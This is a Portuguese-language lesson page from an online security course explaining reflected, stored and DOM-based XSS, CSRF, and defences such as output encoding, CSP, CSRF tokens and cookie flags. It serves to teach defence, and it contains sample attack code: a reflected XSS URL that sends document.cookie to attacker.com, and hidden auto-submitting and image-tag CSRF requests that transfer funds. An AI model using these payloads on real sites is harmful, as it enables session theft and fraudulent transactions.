Cross-site scripting (XSS) e CSRF
Compreenda XSS refletido, armazenado e baseado em DOM, além de ataques de falsificação de solicitações entre sites, e as defesas no navegador que os bloqueiam.
Cross-site scripting (XSS) e CSRF é uma aula grátis de Security+ Academy no CoddyKit. Esta é a aula 2 de 4. Você pode ler a aula completa abaixo gratuitamente — depois pratica ao vivo no navegador com um editor de código integrado e um tutor de IA 24/7. Faz parte do caminho de aprendizado de Security+ Academy, e seu progresso é sincronizado entre a web e o app CoddyKit. O curso de Security+ Academy inclui 4 aulas no total.
O que é Cross-Site Scripting?
Cross-Site Scripting (XSS) é uma vulnerabilidade de injeção no lado do cliente na qual um atacante injeta scripts Malicious em páginas Web visualizadas por outros usuários. Diferentemente da injeção de SQL, que tem o Server como alvo, o XSS tem como alvo o navegador da vítima. Quando o navegador renderiza o script do atacante, ele é executado com os mesmos privilégios dos scripts legítimos da página, permitindo o sequestro de sessões, o roubo de credenciais e a distribuição de malware.
XSS refletido explicado
O Reflected XSS ocorre quando um script Malicious é incorporado a uma URL e o Server imediatamente o “reflete” na resposta HTTP sem a codificação adequada. A vítima é enganada (geralmente por meio de um link de phishing) para clicar na URL criada, fazendo com que o navegador execute o script do atacante. O XSS refletido não é persistente: ele só é executado quando a vítima clica no link Malicious.
# Malicious URL with reflected XSS payload
https://example.com/search?q=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>
# Server reflects the query param unsanitized into the HTML:
# <p>Results for: <script>...</script></p>XSS armazenado e XSS baseado no DOM
O Stored (persistent) XSS incorpora um script Malicious ao banco de dados da aplicação, por exemplo, em um comentário ou publicação de fórum. Todo usuário que visualiza esse Content tem o script executado no navegador, tornando o XSS armazenado muito mais perigoso que o XSS refletido. O DOM-based XSS ocorre inteiramente no navegador quando o JavaScript do lado do cliente lê dados controlados pelo atacante do DOM (por exemplo, o fragmento da URL) e os grava de volta na página de forma insegura.
Defesas contra XSS: codificação e CSP
A principal defesa contra XSS é a codificação da saída: converta os caracteres especiais nos equivalentes de entidades HTML (<, >, &) antes de renderizá-los no navegador. Um cabeçalho de Content Security Policy (CSP) restringe quais scripts podem ser executados, oferecendo uma importante defesa secundária. A validação de entradas (por lista de permissões) também deve ser aplicada no lado do Server.
# HTTP header — Content Security Policy
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; object-src 'none'
# Blocks inline scripts and restricts external script sourcesO que é Cross-Site Request Forgery?
Cross-Site Request Forgery (CSRF) explora a confiança que um site deposita no navegador de um usuário autenticado. Um atacante induz o navegador da vítima a enviar uma solicitação autenticada indesejada para um site no qual a vítima está conectada. Como o navegador anexa automaticamente os cookies de sessão, o Server de destino acredita que a solicitação é legítima. Ataques comuns de CSRF transferem fundos, alteram endereços de e-mail ou modificam configurações da conta.
Como funciona um ataque de CSRF
Imagine que um usuário esteja conectado à sua conta bancária em bank.com. Um atacante envia um e-mail com uma tag de imagem oculta: <img src='https://bank.com/transfer?to=attacker&amount=1000'>. Quando o e-mail é aberto, o navegador carrega automaticamente a URL da imagem, enviando a solicitação de transferência com o cookie de sessão bancária da vítima anexado. O banco processa a solicitação como legítima.
<!-- Malicious hidden form on attacker's page -->
<form action='https://bank.com/transfer' method='POST' id='csrf'>
<input type='hidden' name='to' value='attacker_account' />
<input type='hidden' name='amount' value='5000' />
</form>
<script>document.getElementById('csrf').submit();</script>Defesas contra CSRF: tokens e SameSite
A defesa mais eficaz contra CSRF é um token de CSRF: um valor exclusivo e imprevisível incorporado a cada formulário e verificado no lado do Server. Como o atacante não consegue ler o token de uma origem diferente (devido à política de mesma origem), as solicitações falsificadas não contêm um token válido e são rejeitadas. O atributo de cookie SameSite (SameSite=Strict ou Lax) também impede que os navegadores enviem cookies em solicitações entre sites.
# Set SameSite cookie attribute
Set-Cookie: sessionid=abc123; SameSite=Strict; Secure; HttpOnly
# HTML hidden CSRF token in form
<input type='hidden' name='csrf_token' value='a8f3b2c7d1e4...' />XSS vs. CSRF: principais diferenças
XSS e CSRF são frequentemente confundidos, mas atacam alvos diferentes. O XSS injeta um script Malicious que é executado no navegador da vítima, explorando a confiança do usuário no site. O CSRF falsifica solicitações do navegador da vítima para um site confiável, explorando a confiança do site no navegador do usuário. O XSS pode ser usado para roubar tokens de CSRF, efetivamente encadeando as duas vulnerabilidades.
Sinalizadores de cookies HttpOnly e Secure
Os sinalizadores de cookies oferecem importantes mitigações contra XSS. O sinalizador HttpOnly impede que o JavaScript acesse o cookie por meio de document.cookie, dificultando o roubo do token de sessão mesmo quando há XSS. O sinalizador Secure garante que os cookies sejam transmitidos somente por HTTPS, impedindo a interceptação em canais não criptografados. Ambos os sinalizadores devem ser definidos em todos os cookies de sessão como medida de defesa em profundidade.
Set-Cookie: sessionid=xyz789; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=3600Testando vulnerabilidades de XSS
Os responsáveis pelos testes de Security identificam XSS injetando cargas de sondagem em todos os campos de entrada, parâmetros de URL, cabeçalhos HTTP e campos JSON. Uma sondagem simples é <script>alert(1)</script>: se uma caixa de alerta aparecer, o XSS está confirmado. Ferramentas como o Burp Suite automatizam a varredura de XSS, e o OWASP ZAP oferece varredura ativa gratuita. O XSS baseado no DOM exige análise do JavaScript no lado do navegador, em vez da inspeção da resposta do Server.
Impacto real do XSS
Os ataques de XSS causaram danos significativos no mundo real. O verme Samy (2005) espalhou-se pelo MySpace em 20 horas ao explorar XSS armazenado para se autopropagar para mais de um milhão de perfis. Os ataques de XSS podem roubar tokens de sessão para sequestrar contas por completo, redirecionar usuários para sites de phishing, distribuir Exploits de navegador (downloads automáticos) e modificar o Content das páginas para exibir informações falsas a usuários específicos.
Verificação rápida
Teste sua compreensão dos conceitos de CompTIA Security+ (SY0-701) abordados nesta lição.
Recapitulação da lição
Nesta lição, você aprendeu: o XSS injeta scripts em páginas visualizadas por outros usuários, o CSRF induz navegadores autenticados a enviar solicitações falsificadas e a codificação da saída, o CSP, os tokens de CSRF e o atributo de cookie SameSite são as principais defesas. A seguir, vamos explorar autenticação comprometida e desserialização insegura.
Perguntas Frequentes
A aula “Cross-site scripting (XSS) e CSRF” é grátis?
Sim — o texto completo de “Cross-site scripting (XSS) e CSRF” é grátis para ler aqui na web. Para praticá-la interativamente (um editor de código integrado e um tutor de IA 24/7) e desbloquear o restante do curso de Security+ Academy, atualize para CoddyKit PRO. O curso de Security+ Academy inclui 4 aulas no total.
O que vou aprender em “Cross-site scripting (XSS) e CSRF”?
Compreenda XSS refletido, armazenado e baseado em DOM, além de ataques de falsificação de solicitações entre sites, e as defesas no navegador que os bloqueiam. Você pratica Security+ Academy com código prático que executa diretamente no navegador, e um tutor de IA 24/7 responde suas dúvidas enquanto trabalha na aula.
Preciso ter experiência prévia para começar Security+ Academy?
Nenhuma experiência prévia é necessária. Security+ Academy no CoddyKit é estruturado para alunos iniciantes até avançados, então você pode começar aqui ou desde o início e aprender no seu ritmo. Esta é a aula 2 de 4.
Quanto tempo leva a aula “Cross-site scripting (XSS) e CSRF”?
A maioria das aulas CoddyKit leva cerca de 5–10 minutos. Cada uma é compacta e interativa, então você faz progresso constante e retoma exatamente de onde parou entre web e app.
Posso escrever e executar código nesta aula de Security+ Academy?
Sim. Cada aula de Security+ Academy inclui um editor de código integrado, então você escreve e executa código real direto no navegador e recebe feedback de IA instantaneamente — nenhuma configuração local necessária.
Todas as aulas deste curso
- Injeção de SQL e injeção de comandos
- Cross-site scripting (XSS) e CSRF
- Autenticação comprometida e desserialização insegura
- SDLC seguro e ferramentas SAST e DAST